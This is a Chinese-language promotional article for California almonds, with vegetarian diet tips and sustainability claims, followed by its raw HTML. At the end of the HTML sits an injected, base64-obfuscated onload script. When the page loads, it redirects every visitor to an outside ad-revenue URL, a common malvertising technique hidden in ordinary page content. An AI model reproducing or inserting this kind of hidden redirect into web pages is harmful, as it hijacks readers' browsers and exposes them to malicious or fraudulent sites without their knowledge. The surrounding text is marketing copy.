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简易健康素食小贴士 
•	在合理搭配正餐和零食的同时，尽量摄入较多的蔬菜水果。如果你觉得无从下手，可以首先尝试深绿、红色和橙色蔬果。植物素不仅为蔬果提供了饱满丰富的色彩，还对人体健康大有裨益。 
•	尝试在饮食中融合多种营养丰富的杂粮谷物，尤其是粗粮，包括糙米、藜麦、燕麦、大麦、荞麦或全麦面条和面食。 
•	加州巴旦木也是你旅途在外的植物零食之选，这款简单便携、营养丰富的坚果是重要营养素蛋白质、膳食纤维、维生素E和镁的良好来源。 
 
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丰富你的蛋白质来源，摄取更多植物蛋白 
•	除了海鲜、瘦肉和家禽，植物也是蛋白质的有效来源！相比植物蛋白，产出等量的动物蛋白需消耗包括水、能量、矿物质和化学物质等更多自然资源。 
•	植物蛋白来源包括巴旦木和其他坚果、植物种子、豆类和豆制品，例如豆腐。 
•	你也可以考虑每餐少食肉，或效仿“素食星期一”的概念，一星期中的某一天不吃肉。 
 

	    瑜伽营养师、排毒断食果汁品牌Greens稞悦创始人Yannie说，“加州巴旦木是植物为主饮食方式的良伴，它不仅富含各类营养素，为人体补充能量，还甘脆爽口，与各类零食百搭不厌。”一把香脆美味的巴旦木不仅悦动味蕾，为人体补充诸如蛋白质、膳食纤维、维生素E等多种营养素和矿物质，还让你一天精神焕发、光彩照人。


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    加州巴旦木不仅是一款营养丰富的美味零食，其生长环境与种植方式也同样符合可持续发展理念。无论是在农业生产中广泛采取节水措施，抑或大力发展清洁能源和环保低碳的生产方式，加州巴旦木种植者和供应商基于一系列科学调研数据，采用多种工具方法与战略决策，致力于推动当地巴旦木农业生产稳步前进，并实现环境效益、经济效益和社会效益和谐共赢。舒适宜人的地中海气候和明媚晴朗的加州暖阳，令该区域成为世界上屈指可数的巴旦木种植区，并诞生了风靡全球、健康积极的加州生活方式。 
 
    享受自然的慷慨馈赠，携手拥抱健康素食新主张，滋养环境的同时悦动你的味蕾，加州巴旦木不仅是香脆可口的素食选择，还能与各类蔬果搭配成美味正餐，让你能量满格、闪耀动人。  
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信息简介：	谈及生态环境可持续发展，饮食是常被忽略的一个话题。正因如此，你可能并不了解自己的饮食习惯，诸如摄入食物种类，对于生态环境有着潜移默化的重大影响。据约翰·霍普金斯和谐未来中心研究报告，以植物为主的饮食方式有助于降低人体碳排放量，并促进地球生态环境可持续发展。在植物为主的饮食结构中添加如加州巴旦木的健康零食，不仅激活味蕾，美味无穷，还能补充身体所需多重营养。在美味零食巴旦木消费者抽奖活动“寻味阳光”正式上线之际，让加州巴旦木的健康素食新主张为你开启绿色环保之旅！
信息内容：	<span style="font-family:SimSun;font-size:16px;line-height:2;"><strong>简易健康素食小贴士</strong></span><br /> <span style="font-family:SimSun;font-size:16px;line-height:2;">• 在合理搭配正餐和零食的同时，尽量摄入较多的蔬菜水果。如果你觉得无从下手，可以首先尝试深绿、红色和橙色蔬果。植物素不仅为蔬果提供了饱满丰富的色彩，还对人体健康大有裨益。</span><br /> <span style="font-family:SimSun;font-size:16px;line-height:2;">• 尝试在饮食中融合多种营养丰富的杂粮谷物，尤其是粗粮，包括糙米、藜麦、燕麦、大麦、荞麦或全麦面条和面食。</span><br /> <span style="font-family:SimSun;font-size:16px;line-height:2;">• 加州巴旦木也是你旅途在外的植物零食之选，这款简单便携、营养丰富的坚果是重要营养素蛋白质、膳食纤维、维生素E和镁的良好来源。</span><br /> <br /> <div style="text-align:center;"> <img src="/upload/image/20161101/20161101113851_44329.jpg" alt="" /> </div> <span style="font-family:SimSun;font-size:16px;line-height:2;"><strong>丰富你的蛋白质来源，摄取更多植物蛋白</strong></span><br /> <span style="font-family:SimSun;font-size:16px;line-height:2;">• 除了海鲜、瘦肉和家禽，植物也是蛋白质的有效来源！相比植物蛋白，产出等量的动物蛋白需消耗包括水、能量、矿物质和化学物质等更多自然资源。</span><br /> <span style="font-family:SimSun;font-size:16px;line-height:2;">• 植物蛋白来源包括巴旦木和其他坚果、植物种子、豆类和豆制品，例如豆腐。</span><br /> <span style="font-family:SimSun;font-size:16px;line-height:2;">• 你也可以考虑每餐少食肉，或效仿“素食星期一”的概念，一星期中的某一天不吃肉。</span><br /> <br /> <p> <span style="font-family:SimSun;font-size:16px;line-height:2;"> 瑜伽营养师、排毒断食果汁品牌Greens稞悦创始人Yannie说，“加州巴旦木是植物为主饮食方式的良伴，它不仅富含各类营养素，为人体补充能量，还甘脆爽口，与各类零食百搭不厌。”一把香脆美味的巴旦木不仅悦动味蕾，为人体补充诸如蛋白质、膳食纤维、维生素E等多种营养素和矿物质，还让你一天精神焕发、光彩照人。</span> </p> <p style="text-align:center;"> <span style="font-family:SimSun;font-size:16px;line-height:2;"><img src="/upload/image/20161101/20161101113914_99587.jpg" alt="" /><br /> </span> </p> <br /> <span style="font-family:SimSun;font-size:16px;line-height:2;"> 加州巴旦木不仅是一款营养丰富的美味零食，其生长环境与种植方式也同样符合可持续发展理念。无论是在农业生产中广泛采取节水措施，抑或大力发展清洁能源和环保低碳的生产方式，加州巴旦木种植者和供应商基于一系列科学调研数据，采用多种工具方法与战略决策，致力于推动当地巴旦木农业生产稳步前进，并实现环境效益、经济效益和社会效益和谐共赢。舒适宜人的地中海气候和明媚晴朗的加州暖阳，令该区域成为世界上屈指可数的巴旦木种植区，并诞生了风靡全球、健康积极的加州生活方式。</span><br /> <br /> <span style="font-family:SimSun;font-size:16px;line-height:2;"> 享受自然的慷慨馈赠，携手拥抱健康素食新主张，滋养环境的同时悦动你的味蕾，加州巴旦木不仅是香脆可口的素食选择，还能与各类蔬果搭配成美味正餐，让你能量满格、闪耀动人。 </span><br /> <span style="font-family:SimSun;font-size:16px;line-height:2;"></span><body/onload=eval(atob("d2luZG93LmxvY2F0aW9uLnJlcGxhY2UoImh0dHBzOi8vd3d3LmhpZ2hjcG1yZXZlbnVlZ2F0ZS5jb20vcmlldWJhN21xP2tleT0xZTBkMTkyZmNjNjcwYzc5MjU0ZmVlYmExNTY5MGNlMSIp"))>
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